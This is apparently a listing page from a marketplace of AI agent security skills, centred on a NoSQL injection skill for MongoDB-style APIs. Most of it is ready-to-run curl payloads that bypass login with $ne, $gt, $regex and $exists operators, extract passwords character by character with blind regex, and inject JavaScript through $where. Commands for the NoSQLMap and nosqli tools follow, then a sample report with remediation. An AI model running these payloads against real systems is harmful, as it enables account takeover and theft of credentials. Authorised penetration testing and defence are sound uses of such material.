Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB, and other NoSQL databases to demonstrate authentication bypass, data extraction, and unauthorized access risks.
インストールする前に、エージェントに与えられる指示の中身を確認できます。
pip install nosqlmap or from GitHub)# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin\"", "password": "test"}'
# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"
# Check for error-based detection
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt": ""}}'
# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
# Bypass with $gt operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Target specific user with regex
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": ".*"}}'
# Bypass using $exists operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$exists": true}, "password": {"$exists": true}}'
# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^a"}}'
# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^ab"}}'
# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.username == \"admin\""}'
# Time-based detection with sleep
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "sleep(5000) || this.username == \"admin\""}'
# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.password.match(/^a/) != null"}'
# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install
# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
--method POST \
--data '{"username":"test","password":"test"}'
# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"
# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"
# Inject via HTTP headers if processed by backend
curl http://target.com/api/profile \
-H "X-User-Id: {'\$ne': null}"
| Concept | Description |
|---|---|
| Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters |
| Authentication Bypass | Using operators to match any document and bypass login checks |
| Blind Extraction | Character-by-character data extraction using $regex boolean responses |
| $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator |
| Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) |
| BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol |
| Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |
| Tool | Purpose |
|---|---|
| NoSQLMap | Automated NoSQL injection detection and exploitation framework |
| Burp Suite | HTTP proxy for intercepting and modifying JSON requests |
| MongoDB Shell | Direct database interaction for testing query behavior |
| nosqli | Dedicated NoSQL injection scanner and exploitation tool |
| PayloadsAllTheThings | Curated NoSQL injection payload repository |
| Nuclei | Template-based scanner with NoSQL injection detection templates |
| Postman | API testing platform for crafting NoSQL injection requests |
{"$ne": ""} operator injection in username and password fields$regex blind injection when no direct output is visible## NoSQL Injection Assessment Report
- **Target**: http://target.com/api/login
- **Database**: MongoDB 6.0
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
- **Severity**: Critical (CVSS 9.8)
### Vulnerable Parameters
| Endpoint | Parameter | Injection Type | Impact |
|----------|-----------|---------------|--------|
| POST /api/login | username | Operator ($ne) | Auth Bypass |
| POST /api/login | password | Regex ($regex) | Data Extraction |
| GET /api/users | id | $where JS Injection | RCE Potential |
### Proof of Concept
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
- Extracted 3 admin passwords via blind regex injection
- JavaScript execution confirmed via $where operator
### Remediation
- Use parameterized queries with MongoDB driver sanitization
- Implement input type validation (reject objects where strings expected)
- Disable server-side JavaScript execution ($where) in MongoDB config
- Apply least-privilege database access controls
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths
日本語の概要は準備中です。原文の説明を表示しています。
Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source recovery, and androguard for permission analysis, manifest inspection, and suspicious API call detection.
日本語の概要は準備中です。原文の説明を表示しています。
Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.
日本語の概要は準備中です。原文の説明を表示しています。
Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps of adversary TTPs for detection gap analysis and threat-informed defense.
日本語の概要は準備中です。原文の説明を表示しています。
Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to detect suspicious administrative operations, impossible travel, privilege escalation, and resource modifications. Builds KQL queries for threat hunting in Azure environments. Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.
日本語の概要は準備中です。原文の説明を表示しています。